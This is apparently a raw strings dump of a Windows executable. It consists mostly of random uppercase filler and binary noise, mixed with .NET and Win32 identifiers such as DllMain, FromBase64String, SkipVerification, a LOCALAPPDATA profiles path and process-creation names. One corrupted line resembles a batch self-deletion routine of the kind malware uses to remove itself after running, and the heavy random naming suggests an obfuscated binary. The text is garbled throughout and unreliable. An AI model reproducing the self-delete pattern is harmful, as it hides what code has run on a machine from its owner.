WVQLQHKUQOJS
Ymx!hpEuvhonalHeader
RHJOGQ
HYRGNXIRIBO
SKEPK
JTSNTWYSW
NQZWSUTSP
PJWXKU
JORZUETDTZI
XFQGMFZFCC
NFCPQWWCOHP
FDQOVQCET
LjPXqjFpx80ddX5*E
BITFGJNQ
XSYTIPADZ
GCRPHX
VTGIWNEGZ
MDAJLCN
VQIZTHMINPT
D$4r+g?8
OMJJCGRBSJML
XVLWNF
KVCLBODPFJJ
PQUIZ
RCFTDVACAXOE
JDREWHKJ
KUATOBUAKBRW
ELBVY
rQDVHQAMFCP
KLRDISR
EYNQACQJJDW
JVKRZVTORFLF
ERSPNEX
IXDHDMPGKY
CUNONS
DGYZTNFHORW *_FGH
WEFPLBBN
UEKMJG
TOKZVSZQ
ZMDRCUCG
QATMNXFCUHNI
RCDLICUYW
CIZCZO
PODRDORIEHMS
NRSANBOVKS
YYFMWI
MVRLHLQHJFK
d `:
[^_
ITBVQQGOUW
MQGPHSYKLFBM
JJJMFMNQRX
KUZYPO
WUCROR
JSEVDORPESY
RDRGVAH
XNNYEOGX
HYTDBUZRBLV
HNBGDHNTFZ
o,6S
EIWJM
$ H,
ANYJRUL
RDXBS
TEDBOKLFYPUX
PEFOEVYDXULN
p K$
XOWAFOEO
FNXPKPAPD
p `
NIBZMBXLCEOJ
FILKM
YHTKVE
WEMAHQ
YDHOBLTKPTZH
2C*@
JEOALHQISJ
p k
YPSGET
F%!I
AssemblyDescriptionAttribute
p KV
BLJRXF
get_ Hukqk!L
p K\
ELQNYRCQOWCY
WHAMQEO
QNUTOKCQLON
JZQCXCG
rdn46gC${FeYRsQ55C"?]f7
HHXVIB
BOOEDIEUIINV
KQUGL
'@7Kq
EUAQOFSEMA
BUORZN
NGWPWXXYC
CVBNTOYTHQAF
TMORNMEOYMDN
UWHPGH
MQIBVVJR
QPPZZGJMRPHS
TMRVKTRBGJC
I KBE
PLLELFBRM
TTBESWF
GTNJFRNJDJV
CPTFTTQSGZM
JVKWKBCLPIR
CWWLVTIiMB\IVRHRBLI
MUYBYFVLUCY
D$|I!
TNXECJCEKKT
*"Ty
PLWLOFXDMK
NPEDQNUORR
p Ka
EUHBXL
PIVBWCCG
DSZHQY
QDUZSZ
Dd5jfmMDZ`QtSsqCVid
#"U j
ZLNOQPDH
TDADTV
HJQUOCYCNDDP
XTNVNB
CNLPHVIDATC
ZEFFNHSPXEPM
THTWHE
E/!
UMAXKKYHPIQ
IWQNIIMQEN
IMLDCAXADYFW
LKSBUGIEOUJ
{ZY]QILEAD
@P}%
BVDGUP
FDGLFFGGAUQ
TWAWMGSKKGHI
NQNPY
FZCENTNXK
O#oGu\
YELGNQVLNWEE
WCKYDIJHNJCX
+[^JA
NAVGGJLBOVPC
RUQLKIASO
DXEJZB
EUFTLJUMZVG
CUBDOVEY
JQNVYY
CRPMVNZCKMJM
SXPAKQ
GINQMMMWZRLV
ZAYOSZMCII
AFHVLTQPRZK
WNAAWPWMO
WRFIPQSVPPPF
EHMDDX
SASMHM
+Ee `]:^
XJDXXYLBX
JQICOK
KGIZFJOOT
P }CQIP
VPVAIW
XLGFGAOMFQG
WKADC
RLDVJ
QXBIYHESCDUI
HELVJKK
_ MO
E aI[H
~KQGQ
^S[[KP
BXVEQI
VIMADVFBT
TFADUFN
GHAEGKMHEIQ
wCBQQCUOGA
VDQXWKWEUONP
ZQRRTCUAI
TZSTFPDJUQUE
QWLATSGA
CEZRID
'B\IK
WPOBZNXBWCRC
HLQZLAXWBA
NZZDPTRSYYD
IFUOXLNBRW
XBDMUBUWVWF
UFEBQLPVA
TTNUKKXBD
BPGPLK
JBRCBKF
$ D`
TBURSGDMOEV
YXFLGHHGB
QDQCHF
QSZUCWXAE
OGSRIN
NSKKJVCQVI
p 5>
KXUSUL
%jcA
&r[W
WCQNQGNWD
E)e.A
,3^wCRSd3ucIWQefc0Wg6d0\u6d0 /h%KXce8CQimqx_j6S aC5C
QMEPBJLI
FLBOMG
EUYYKMNFJHQR
B!T*
&r[[
Q[TYUO
PHWHYRLJNKN
OWSKDEMMIS
UEEEVPYMV
FXBCEC
g+XJMln!dpg`
& >J
JVUWJERI
WINNWTZBNQX
ZGNESNAPGMJL
&r[K
SUOHEVECUE
GGRPSARFV
IVHXMXZHGVY
HQDKEPFRZ
D$J4EJ
WWOBLD
UYVWMRWQFB
TNGIQQ
DFDKMNDZSJ
VOEEKYV
) xg
NSDXUV
WIQMHPKTEPO
XFTZCN
LNORHU
& >o
HUMWTKDWGKV
&r[`
NMFDQQKSTCBI
NZDGVJMIBWLL
TQCIBNF
TDCYCDHAPEAQ
DOPXOBR
WQQKTYOHBP
CQCDWEIRWEXU
P. B
FYBHYSGARNJ
TJXZMNQ
PONSWT
OKIDEIX
RSHNFIGJ
TSIVKXPPGX
*G9<
ONQPWOLRWYJU
@VOHXEIEH
TKTGFLSYWQ
YRVJZZKCCRTE
TGVODNVYQ
UEUETJMAQNSH
RLIEKKYW
BCWYUGXPLJKV
GMULI
AEYKCPEJ
GNJSTAG
WCZXXLOUYAJD
ELSNPT
& >8
QJRFFOWWE
& >:
UCVSSOFUROOO
&r[=
HIATQWFLQJ
YXNFG
HUKGABDDBGAZ
FGCMA
RSQIWHQ
OSWHLM
SSZJEDCDOCPL
SRDPGDAF
OASFYHQWRNJ
SQNTQBYIL
NGSKPVTRWM
IZSBCC
DINNNF
6#3 call :deleteS1Ns,azht /b_./mandteSelf start uN0+'"bmd /& uoi"#%%~f0"&exit /bU-
JYHQOUUCY
&r[*
HLGWLGCCKH
SEAKCMGVFVFY
NZDDXSRPY
p h/
ELJFZKCW
COPLFH
JYTCD
CAQNTULP
NKPHIWQWNGRS
ZISQF
KBEEIHUO
XYSIRATOQMPA
JWKYNV
YTVUDPNDVTMK
IBHFNH
KCDYLV
KQHPBOJFLE
XJYDJ
JIBWZK
TTWZYOKZ
JGGAXRUN
IYNJDRJFYQCF
FKRBLOFGHNJ
RBXTHZRPQDL
JDKSZWTQNI
WMCAGWFSI
@& -LA
F[EZHNEWH
CBIBCCXIJY
OHPZCJ
PCZLRTGFFLTO
MZLZJMFIUNOK
SAJUBUVFWO
AEWDCR
BMISNOR
MMABWFZ
XZUMOX
JDJQSATYYYAP
AHTWVFIZLC
WNAPDRUADBUZ
QQSIJVP
p hl
YGNYCN
YCPCBHAPS
YBEPKXCVEE
GPXFXVDO
~%,P
m1qu
FSHUHYCNY
WHNVOEPM
p h}
A&-P
YIWVZZHWZ
% \|
FWTQCXYHUPMV
zvzvzc
GGLTKZGIGIEK
IMBJQCHALAO
TRSDYA
DJSVKKSGZ
p hq
p hr
TCJDANELPWH
KJQRNA
Z$1K
XXUYDOFXSDY
MMFQCVQCICW
PCHKXRFFGABB
NFMBYNOUXMC
p hE
XHRODCOYAI
YQECCB
RUXCNQDNQWD
LUXHFVRMLHG
RUXGVUDLPFGB
bD^AQ
%)U"
WHYBEFDEUM
WDISJWASKY
XRIUCGOUOZBB
-FS-
QJQCMJ
WWLRH
PWSGVJ
EHUWYKICBWN
AOEKABRM
CKFCYPIIDOIU
OPWFBV
xAOG@OwF\M@C
XGEMQG
FASS j
OTIQIK
YTMPCZERU
mscorlibNzkypgl
AXNOWPILQZD
EDZPT
$g`iVRd3iG3G3y.Sii
DRXPOATSBNAH
VOPGAFUUSWW
ZIOKIWLX
UEBSPWOB
WISFGKW
N )
,[DLIIRHKPRDO
& 0
ETKROZCLPF
C5Tj Rp-XsZvmbessMemory
XJOVPYNL
YEAJWPPXTOCW
XGRZYNANXD
VYWILEQXQSIL
PYMMK
KIMRSXVYWJK
HKDLYNZTYKZ
MLVQUK
$ Dn
YXAOJ
ZXQNBH
VMOXDUSTLD
QUPDSMDFC
|$D`O
XYBCXK
RDADK
XVICMO
WFSYWAKA
BOBQM
TLQCXEIFKRQ
YTENPXBKOVL
TDSNABDCV
DMJFCXEKVOQ
=xa`Y)
UPTGWEMPUSB
CBQYEOKYVWUA
VLJMCEJBU
NDNIOOFS
RRNFTD
TGBHEA
KQZMLJOH
EFHCHDCMXFB
YGFBTGQEIG
UUTUAK
BFPOWJJZI
RNRIV
ICIFQEK
MCXDCKIGRSO
DADJ
hEAOP
QHFWMGOAK
BYYFCVHYU
LGYQVKRVN
AIEROXTGJVL
TVAKFTYO
KIEBNO
,ZHKN
o@AJ
QT cTOKF
D$P<
BSLNAK
SRVC
ICNMRLNJ
QDMHLT
TranslateM1T`ibg
BHNVRP
RAOMK
D$P1
VOFFHFROLQUV
WKDBPQ
&r#=
D$P-
& f&
GRNNCLFTCU
D$P(
D$P)
XAVIKR
D$P$
&rxu
D$P&
D$P'
#&P m
&r#0
D$P#
XZFTOVGSTDO
FRDTHOZBY
WRMSTBCXTGQ
TCAWIA
VCIMCGYF
TZOZOW
KQMPW
HGDXKF
1't v
VPDKHXYNC
EQYTRT
D$$LJ2+
UBAKQFSJ
IWOITIKEQYHV
DENHX
UXQGTBZNOLCN
DBRVGFGH
ZEMFYSKFAIZH
3LEFMarp/EO9^q4
WWHCRVBQCN
NNMKTJSXYFY
&r#l
KYZJXVSDAUV
MKKYZ
HJBZKMIUOAXI
qroc1
&r#e
VOZAUUVTNTBC
& f~
get_Ma&JGbjfnwTitle
&r#`
NIEXVUIDRKXM
NUAMKXXI
RNDQTTXNJZY
Common
& fm
LVJTFO
& fj
SSUKJPSR
QAHFJDPCY
VISGDOYYHNIM
INNQVNLL
&r#J
ABHXF
&r#G
JUCVBW
CYJWTBHDI
APCYSI
& f[
&r#\
Y~qnlquerClassExA
XHPDVHZIMQVM
VGYSUA
OTIBNWVLTO
CompilerGeneratedAt.Xxkpv0'T}lf@ttribute
&r#W
JGCNNWIUXT
SECBWPSDQ
&r#P
VHLIWF
QDCPKKEGL
WNMGMEWHM
FGEBXS
BBOPACS
FJKKUWI
PTYNYIMZBGAZ
ZODXBUCP
CFKVOETRUPW
FCMOKGZKO
ITFQLXO
GGIWKW
WENVCONODR
OLNXCQOS
FGTGEP
SQTZLTBBYFN
!THHFFOZCYYE
IDHTQTMYB
JYGWSSDSNDE
ALRTHF
BDWVEPCFD
HNOGNHPTTRG
IQZELYO
FARPXOU
VLMRGTBZRX
YSSAEOYPTDV
WAAGGQDFJFOO
GBAVQOCMNPD
MSVNBABVEWKS
KCCXTR
TJCAXMYPI
SJFBIUXO
p P+
MUWXUKJSS
YALIJ
p P1
QLTGNSSQVKNO
ZPHCQSEK
GBQVDFISSSWO
OBJKZACRMWB
GYBVPJGQFHK
JPPFJQVVNN
ZPNNSUPDSJWR
b*; 5
SFBIRBTBZ
Magic
EBRTLD
p PC
RLHAHJGOTUSB
HWGNBFMIEAV
VAPKIWWC
ZQQZAYUPZKUE
ZHMXLB
KVNXKLRRDSWL
e^QNP
WSEJEUTFIJBL
HYSLXS
OWLGVHQJEZT
YPTDNX
DZBIPK
HRZZZGJGJVTC
KYUZTFWMOHWO
EMASPDX
WZDWKKFRSJCG
YBAIC
UPYOYQJPJEIX
LSQBKVXLCHZG
RJMAPYPYMVIH
GFGDUD
GFGOSEEPWEEG
WMPKGX
PGCUPGDXJF
VDXSD
HIFGWMUUDHN
Dm7P
USXRUVXR
YKVNYPX
WZSUCP
CRFSSX
remove
XXQUPXNY
XHEQGV
CSGQMGO
QLOXXC
KKFVHWHEF
GLCVIY
KF[
JXLRBO
FENCCDPMDO
ZYPCLAYGEKJQ
XPUUE
CSDHODHSY
C|R$
EdtFileAttribute'gkJ
YZGBKUY
xB_WJN
NQVBIQOORYZI
GCSBASQSOZ
wPMPH f
MWFVBIP
HBGJIE
QKQPJEKOZKPS
YGMLNV
NETUAE
Ed5FWSQi1v!caNBldjf
IONOIWSKDMZL
RILQFNUXNAC
AUGZPRL
AAAFGVAAXK
BWZIQK
DWKJFI
UTJYFDHJ
C *
KGZNDDOTRGD
BTJMJCTJ
CEPPQIYJWPR
L\PNEC
IADGEM
JEMAYFQM
ef~hmnk\Profiles\Out4KybY;275CF
QMQQNTSSEFB
VRKYJBXB
YSZBG
HQPTGVA
Ed5jf5dRSdSqYs2oE``
QZZCZQV
TMYTHJPXNM
UIHFRYXOUMXU
SJDPEJHDZMLU
LYPWAPACHA
$6\FWk4iiC\_40d`vuVw2V84idb !X0
UAYAGOZCLT
VQOVHADVZY
NGUFMX
BYMMKRZXDEFB
TSMIFFWZGGH
BOBEUG
HXKEAQTJKN
JDBQZBXEFIGX
LLYODRK
JNBLGQYZI
NRCA
QMCMMINXRG
NLYTSHVR
LZFHAS
MAIUIW
GDROCXPQEL
HLFTWOCK
IQSWYKNQG
EOJGJBMPQVVX
GUAYROURJLXZ
LYSJVHQLPAGL
HJDFNNDEMOL
PSTSRBOMOL
TGJQFTXNO
hEDWSSCQ
VBNRZI
BEMKKG
QSWGSD
UXHESN
WAXQHSXEKUKZ
HEVPJO
KLXJYANCQJ
EOXJGJHDMGT
CCJVWPITK
IJPRPAFIKIZ
!This p*Ntxeo!cannot be run in DOS modea,
FGVRLLOO
DCQKSEWM
KGWEATP
MVAALP
KJEXV
HTGWMEXH
)*N
XAOFSBAPNMH
TYEIPXKWYHCF
*W[F[OWQ
NOBNRKALIJC
ABFCONHUVQZ
BACHNH
DeleteObject
RUWWHYRH
ALZEYS
DKSTYRQAKOZV
UWVMOH
KRQNYBRXRCS
LDDVMTOOZKXP
IWBEVN
ASAJVJEDCPZL
WSOEP
OXTUKUXGRUN
FIPJDJTWWAY
MMNPVILGF
HRBUDTEUFFHC
AZDNJXFZCSV
GBCWTWZS
IK@.
XUSSRC
SZRCUJQPCPA
NPBAEVF
EEHQVJCDIMX
PATKYDAUAO
& [b
QFHBXC
a[\T[OYIR
UZFLQFSMC
JUFQQORGLF
USKPQBWWGD
KPCQHBJDXFWU
WKCYQO
QDPEBQ
FMDYUY
ORHGKENA
KRAIXZR
CESDUO
UKNPGKUMDSUR
AAYSQHQ
MUPAWJLR
Z`dgint-Xph`gy
CXEEOZDVVSBY
QPXGMOQ
QSZDPZHDWKY
HDSEZXEILW
ZCHOVBVOPDT
ZCWKCBAIKJBV
FDPRIJIMZYXP
AJFRVYDUNU
GAGUNTMLVG
UXRYZQ
HIJFYYMWESA
OZJXBXMZT
SIREZ
NQLFWILYNVHA
HSBPFPCCMNO
XRWTVPTG
%oR2R
Df+v$
EIHVWJ
AOBRTE
YJUKQFPRSBYS
BWVZMTH
NDVLYENXRFXD
RENHXFYY
NCNNMONZIZE
CBFRFLGVHDAB
VUAAAJICE
EJQKMJ
GIWXCENPQ
DGHFNDBRE
PAPFFGBMKM
&2\$
ACXKBTAQIRNG
RUHVNYFBO
MOCALAPPDATA
ONAACA
TVQHWK
JQPQGDRZUJK
FLLWYJIPHEW
ONNYGJENOSPC
WSHNIFTVRYG
TNCKLZAUSC
OJIUNB
YUFDEZHODP
PPGPTLGMFGCT
p "T
DOBGRF
IBSDEBYFWM
JJMPOBT
OAFEESUKDCKG
OBVSRTXINUX
TLWDAPDBX
OUCKN
QJGKYM
YJWFYCBKL
WDKIYV
1)I'
PZUQRSRPQUAU
HMLYJC
SDDGMLVNJZFG
)I=q L
IWQDEXLRZ
KSANLHAQUT
UVSHKSEEYV
AXIYDXNJCIS
SBFDNHNVRAK
ATQRHFNCFX
CJEZWEPBQ
SABXTZU
RIAUHIEWXGI
C_\RUM
UONNUVCXCEAZ
KTJXABULQDS
BASZWOQ
[^_
MFYVZRQHOJL
VRVVKTQ
IEYTZV
p "k
RIGVUK
GKOSSKNC
THPWIJDJ
TMNQPLUCBJZI
VOJDVVX
MELVGN
G?XT{ltdTypeA
AssemblyFileVersionAttribute
FCFTYXIYQGTA
ULASTYXYNASA
GetLocal
EQNOPJBREDAB
UONQPOFXQECP
RFATRIS ![]OILE
wBKIP
UQNYAACT
mY]BAF
p M^
$eHR
&]KNVLV
SJJIUL
LNMIWMUWQ
ZNIKXORLUYPT
PFNHISUYRXR
ZSSKKJ
p MD
PNAMZKSDM
TUKVHMT
DQMORKS
WBTKETNXBZNO
System.Resources
PWIIIDX
WKUHFHQ
YUEBPGZG
CMONEOLDKHN
ENLKGLPOOW
WOELKTOEW
YCXR gFYC
% \u
p "8
KCUFDNGSCUJR
KAJIO
CDDLQEJLSXGQ
QODHAN
UDKZQRJAMFXK
p "(
ZDVCP
JFDBVOIEBLPJ
ZAnrDllMain
EBPUCDFLYRBF
TELIFF
JOKKNCOFM
NCJCU
LUKZSDQPQIUQ
RYQKGIPJEV
QBTQDHJYUGRG
EAVXCIYRF
KIMVFCNJ
FTLUNRS
JQPBEMCUVXDL
PTIZSKS
AMISKQLMQNFN
B>S:4\U4R
QBGDGQ
WOQLPA
RYUWDH
qCIKE
F)UwFcdret
AIFVWXXAGMGC
WFSRGX
YNEXMF
QVETMCPBCL
HVDAKRZCZUP
CSXXN
T<,G
MUZJMB
'[MOFVC
gBGDS
LYHBJ
COQCLD
IBSOUGOKAU
OTXHAY
_0<H^<V
REIVMXJQG
VEDOK
MIDVPCQOQHJA
CMUOGEDRQR
ZGBQDMJGYEBA
THOLWAIPWKV
HLPCJY
NYHNXH
qQDEI
GOFSDAD
lpProcessInfor/@d`jlNVddggrsInformation
RMSRP
JMNWMSJPMIWP
IIGJIRYNCSPZ
'CQNN
HSBYGQ
HQIFUZUAXF
QOGJWX
RPXUFCJE
EKPWSTMBXXBK
VFXCSDMD
&rDw
WYWCFU
LURDUUAFWA
YCOTPSON
YFSPQJIUN
KWCMWYMWVARJ
TXJRLFFGXK
FLKGHVDA
IXUCZJXIQYMJ
PYMKKCBQKEE
EIOqXR45
YNENUG
EYRUZFLOWFC
PCCUJSWLXHN
EQZNUJ
JBHOJTJPNA
CJZZYEM
XQMPHE
OJCAGBAUPM
RNRRTIZP
6di)s!*/"!80WlxGA`tkVn4R6
XPMBXRCX
ICLAUVGKR
&r]P
&r]V
BDHPNIENAHQ
& <R
OHKYWQYEGLU
MXAADBYWEPQ
WVBCPDCOZGPO
EVAGGO
& <J
CWBDLQTGF
QHIQAEOXBBR
&r]F
QJCEXPF
UDCIRGDIHOT
VDISCU
HQGLP
System.Security.Permissions
NRUTM
SDWWUZOLKTKU
LTTPGLGAXBIW
PCXKADGAP
SDNMUQTCQRH
BSXOJL
IVZIX
HGNVYR
XCTRSDXADS
.Xn-4bw(
ZQCELXA
RKSBPRGNNOM
OTOKKMVQIW
YAUNMVFZVY
VFFARZAHJVUW
&r]a
QVTAKKJYVWKR
VTKXBONUA
HTL
RQFCMJTZX
& <c
TJEGZXHHVPBV
AKJEUDNYER
FHUIXMVUYG
PTNEDWPBRWF
XRCBT
SAHYIUJWC
AYCSKI
h]XFETe@EDAF
y] DL
LFVIKA
AAVZBYGISET
UYYFECOXZMKM
-CV@
SBTUCL
YNMPJ
VIRTIVVWXD
XRDXMZMFJC
FFFRAM
JEROMM
DLCYGIVRNZF
&r]
JPSENS
FUJWDQOFPMSM
N o\PHH
UMQWCUCCUMY
&r]2
MOWIQGQI
TXKQLDH
FNJUDGJU
`]L\
OGQFKVTESQ
ZYSPTL
UIKGJQ
Sys9H{&Vgrources
EXSPP vQYTN
&r]
ACYXDE
VKLTCDHEUNVG
HKDXEBQTJFO
]VDFRMT
HZHAXWEC
GYSPUVYALNGR
KITTIGCCSTB
mQXBECNTZNK
FTFHMK
NSGKW
p j+
JSIWOL
FLVPXSY
NKIEXVWDJNTX
CLCBFTOGJ
PZWOUIPFATAR
SET_CONTEXT
& K_
KXPQQLLREXNV
ZQOHDVUGGLK
RKXAXVJTATR
BEIPW w
USDSVCELOCWG
ABXWES
p j;
ACWLQJ
ROVQBX
GHGIEX
[KDIUGFO
VCDNJJIDT
ABKLMXOF
AQASTWIQ
HQRDCUHBNGR
JYUBCJXZAHA
UCPDEYMUVM
DXUTBK
OLUGK
XUWYBETWGNSA
VPIUKRFMSX
NVFURDAZYGJC
vzvzb
IQCCXO
BDEPWMCZQDUV
TROKSGTSWRQ
PPSVQN
AGCNQTDVXXMK
FRMMCMDCRGQD
QFJCTC
JVIRFPPLGJV
CVREHBXHUEWS
CLBUIAEVZKJ
GMWKOU
VVGHTYGDVOTN
XKDMWB
USSHLGQZXIf[CVNWNPJ
&oKrXWiQlRp5df5
XTAJYXRLD
ATAICGGTKJ
VFAUHKEMMAM
LRIBMDFBG
ZDCDDNNYJ
OQENZ
FHOPKY
resourceMan
TSSYCSDFJQJ
EFLAG
p jz
IUOAZZCAS
mG WVFAGGSMVKHT
OLRIQIMJHP
UWYDIKBSA
TWRXEGCGTPEY
OSBQEBI
JXMJPLNYOJJJ
PQRUOI
JDYBALANZ
STXRPIFOSRM
KIHEDOYEV
p jv
QEZEM
YJIJLI
EXQREQGZDL
NWRJAKZFNONY
QPHAG
CPBTIUIZPNNR
DDMHCR
UUGMHQXN
ELLDZP
WTBCKLPQEAOB
DSHVZK
ZAEVDUGFLMJ
QSSBOO
WYPPQRMLKFDO
XIWNXLCUAZ
GWPTNPYOMT
QFWALEOCSKD
MPAVHLJTGT
ECHIWV
NUOMJNNMHGZL
RBTKGPWYOOBT
TZKRIGKW
HNCXVYIGCA
PMWNVF
JFDVRF
SDTIUR
HPKVIEP
EIPUOKFXF
XAWLXKH
MVEBPAMPXOS
ZOBTKMWVXB
MFXNLMCOT
QHYJTUTUYU
QOIWOHQF
$JE@SPJUR
ZVHFKYWTHBBX
FVXPCUTSWXM
Dk,6DE
FRIDACZJISNV
}UAID eUB]
KAUJMHIDWGAN
UNTLKIXUX
vNxQ
SkipVerification
SOLJOH
MRLOCQJAQFK
*RQK[XE
HYZQOXNWQA
ZGIVQIBJVJVY
BIMXZFUO
QKNJLAVQY
XAWULAT
WPFURYOJNVIU
|U^HVSSNXV
EXIQWJXMCID
ABLTZPVSWOUT
JEUGLPVFEWSN
GUQHNW
BVIDOISRTWF
s^ZLP
D $o
N+, p
MYZYRGAAY
AIFHENBPAEkPD^V
JZMSPZ
v2.0.507j
TZAVBXF
TCZBJAFAI
i@ZLVIAAO
RIGXVNCTALL
bytesdo;Lp|
IERMXTCZRXKZ
QLPCLN
QWRKYSSSQBLM
^'1O^
FZOWDVW
SLKIBOMCSBFD
CABPEI
BAVICGMUKAOB
~PNC
BJVQWX
GXXDRSDEDUDY
HPCNHKORVT
MQQYGN
PVJDVYYQ
IYMINSLHVQ
XJPYGJUAFTLH
NIIFGRYZSIX
JJJNWW
JCQGNJFONNQZ
ZFEQPITNCIG
HKVNAFB
DUUYP
XBWGIBL
NXNLBPBIAF
CPTJHZLQCN
JVHCYVKHJ
KEWMUZIP
KTNMOIBPJQOZ
{GCVMYcNLWM
-"Xy
ZWTWHB
&r%,
ATGZKS
&r%!
&r%
CADBKQ
D$R*
D$R+
um%
&rz|
&rz}
PBAY
DCYELJ
JSZBIAT
pFAQ
EPMPIERWXPPF
OHGMWYPYIPT
NCRIFZKH
FGMDKEDAVOPF
BFH32.d4@
&r%
PAKWLHMFXI
SFAKR
.3N,
PDWFXNS
DIQOYF
FAULAXCIOVIA
VRTALSKPHIJS
,!p p
QWKRPGN
DLTTKJAIWMME
NJKGPULMLG
SRTHQZRHCJQE
FZJTBGXEFHV
WKLUZFDVMDS
LOWBXQ
SXFACO
USCCLZEJ
ZMSDUX
OPNUVB
CNSPZY
HXWFOW
e_minallocZALfdz%@zeg
#Str1Jqz
PIHPTPYTZChG[\X
CBCCLUERKNC
BMCWAYLQDW
KNPHJQVSXF
&r%d
.\|GalfthNeeded
TIUHGZ
ATXSSBZS
D$Rl
ZBXWBPXER
CFKYBCKAMNOC
IFJUWMDJC
HCVGNXBVKSDA
JVITAF
YWFSJIFMQV
GZMCWENO
& dm
&r%K
GQCSAV
FLYAMZ
DWWKFE
WLSZVTUS
MFOJYGDYKOJW
&r%B
&r%E
aT\L@
SGVIPK
ZDUDRDQFJH
PCEIAGUDD
& dF
XKCYPLDNBKJG
Se3gzdngx
FAVYZQ
$S}R
YQIIMFBQZOPO
FLRXOPEZTELN
%sR*
NHMUVLBWORI
DQWWVA
&r%T
*$d `
MYUVKH
GPFEHSCXHNKA
ENAPXCSBGGIL
hV IC
,XLHCUT
MJACJSWTKIH
PointerTo
GWXJBG
*vdxt
BFSHDQ
FSFCHZH
EODNIFJKHLX
GNCXRV
HGUOJTACZPCZ
TLEYYWST
EHPIQRHWA
DfN&
QZTHGONMUFQF
PNHOYR
r]^C[ '^OO[Y
SMEXMZKUQO
CultureInfo
LDOSRUQXVD
MGRFUBZJUQJK
processInformationL=Iq}l
UXWM
$=TA
ZAIXWS
p R4
ISLHPY
KINSICD
81=08027</Date> <Au;Iz{:Y
PIHTQNIC
mU ODKFHF
PFOTVTQFKWIO
p R=
NKIVUQFY
KSKES
NUMZFCZZR
BCOBRMW
LOHGIIESBWB
BUCOJBEQDIJ
s+X)
RPNQUZCNDZD
'D~I
PBXUZYKUUJ
WEEVORQ
KCMVPNDCIV
GOZGLQ
RBZJQOWJ
LWZJVU
SVQLGKEJQNR
GSDITNJCEVNS
RRAJNBNLGHV
RZCCKRNPY
NXIWRPDTDMWI
HPWRXMATQLAA
XAPVUY
OKTGYYXJIQ
p Rd
EHPYV
p Rj
NEGGIQVFBXN
NFAUFGTKMMI
QOKLZMPPT
DPVKEQ
p Rp
NQVLG
YJIBEK
EHHKPS
HXKETFCNxIEPSBLQUQ
UVPLWQWQZI
XKXMTX
PLNPAK
LEYBOZ
XOVJDOLSZDAY
TZDXEG
FICAFTUD
QEMUFWPV
JQWSDOYUNXYC
PRREFPRUTART
JDJEYQRE
IOFJBATGRM
UUJZDXLHZP
AMYHTUJHSR
ZVWKGZRTPILN
J 4l
Gdd`nNbjectSecurity
CEOQQVHKZQXR
CQTRDAKB
OAEHZD
MJUGJJUSOKRB
XBCSPF
GFFZPGSVU
JUZLFMVASOI
LSCGAG
HRQXVILIG
{OJ\LHDCT
IECETETICV
hW
LFPIBEXMCQV
FMOGCKRI
SIPYRGT
Re+YylQjsead
IWOEHM
YBTOZE
NIJOMHQNBEI
MRAIEC
LDZOHPRPQSX
BODOJOVMKP
JDIHJPTHVOAE
x@XQ
LCZTSOSZTAKV
LDIPIDLJOSYF
UCPJLLXUUGS
USXKG
get_Culture
Ent&SPxlvhcalSection
LDUTWGIZD
BMRUICFV
FUHILE
WDBAEM
I]LMC
sm
SGUNMJS
SJBANRKQ
ZYXSWP
Kf~@psor
(*` j
PDWTGDXHZO
g! J
WAFJVDCVFLUZ
VIXAKCBY
IEGMWX
DU"
QCOBICNHNIRC
p_BGC
PdgQueryValueExAR&
ARFOPRHWUV
NXENIPQAELO
FDYCJR
EQINLZF
KYTEBP
CLDTYWZJG
CNYSWVVNDWF
DYYZQNBNXZ
GFOXFT
XXMHCCEODKDN
%3 =
USQUEMJTFVFA
}I^EI
BROTQ
PVVLZQUVDVNV
NGUGWWIVYTIL
ZXUKVF
EKRFGCP
LLAKZGRFA
gWNWRRT
GQDOIOHXKN
%*g }
pG BL
QFBGASIRBWMQ
D$`9D$(s6
RSNBSDRTJBRM
SBEYHD
& YE
u\PDU +GIR[VFWD
RGNCEEDPKON
KIYJEKE
& Y]
FileHead=[
YGDPHTPUKZJW
QGQCCN
VEAXBVYWB
FIQVNEBFZUTN
DMAHDFC
MAVZBE
ASBRHNHPC
EBVSCUFJRJPC
& Ya
AVQTKJ
JALMCM
N`zdedBox
UJUAQXDRUEMK
AZDCMNBNCOV
LEJVJTC
NYOAPZYBLEBK
MXHMNQTZN
EPZCBLXEXKFP
IJRYTGAWPN
BJRBNXK
MMKSXDH
TCEYOZFFMV
FZITUOPCFQ
YQEJZV
KJGPE
QMJYBOL
t$`u$f
RTVYSUCPIJ
ZHZBXH
HFECHR
_\^]
KKTTUV
MPGGDNRDROH
PLUOT
.bss
JDURCJN
XGGQNKQLK
QNMHGO
ZZHACP
XUQMNMEEC
PKUUNH
TYGCAGCDNI
& Y!
T%N"
UFZMUMRDJCI
nWl-
kUX@IQ
CNHKAXWEMN
DKMQC
AGHQLD
AVXAIZA
PGCOMP
L~""N
GQIZCYBQCCSW
AKQCPBHJJKG
XFEWEBKELOV
VEsH
CSFTBK
XPDPUSOLObAN\M
WXQWUNIIHVM
YYELGGDCB
p $\
UOPNDSOVQ
FromBase64S Pzeb
CDVPPE
p $Q
p $R
WLMXMJQQFIM
ZHMHHTDDYGR
NAYDWAXVPJHE
FTYJNI
GWBQFXPNMRXP
KPKHW
GQKPHDGVT
UJFBVEWC
[DTCWPYTUPC
MYLWHX
HXYLM
KIRHTHVJEQMV
SGIZNNLVPS
p O8
ADBNDQEW
NKQKIMBCIED
NSHSO
SOYWKYURNQF
S'W i
MJCAS
j&X
BVRQQWL
IRZMLX
CFIVGDKCTZO
GASYBL
WRJCEX
QMKESA
HJCOGV
BFKMWI
*$"! <RunLevel>LeastPr,Z
PWBAFZLCTWR
LSSFRG
JUVRDGQREGU
CMLGAJZHJQZK
SPUISK
GXLFNZP
YPFGQAM
EPCHTYCELYR
YKAVLRZAESZF
PEBYUMCOBRT
p OR
QRQNHPKEWFXG
RWEJD
VTWWWZUIDI
p OV
p $
KORDCBHJYHRR
SBGFXL
FXWPWAXRR
EIHYHRGZKYX
VAJYBJ
GPUIMMVWMPXX
DABNRZX
,Z B
p Ox
XUEAGB
KLVXYWDXLMF
i 8w
QJXNJLRFS
QRJIQUKLRIL
YRGAJQVNAF
NFZNBVPSMLF
ERNAWRO
RCVPSNIRLJE
ZBEFFBAY
TEDNKWSKPI
p $)
KSJONQPG
gGY\SBVHU
p Oo
GWFWKE
m4%
ZLPNZ
GOFIFINQ
KDVQWGUG
IOJYK
NAFTZFABY
EIBHNGTOKL
PNHMJT
AXISMT
DAWTL
JJLRDF
ZXLFQEGOR
UAUEVGFC
VDWMOJKCMCPO
KCHBPDV
QAR
ERROFJB
HYNFQQKGHVLE
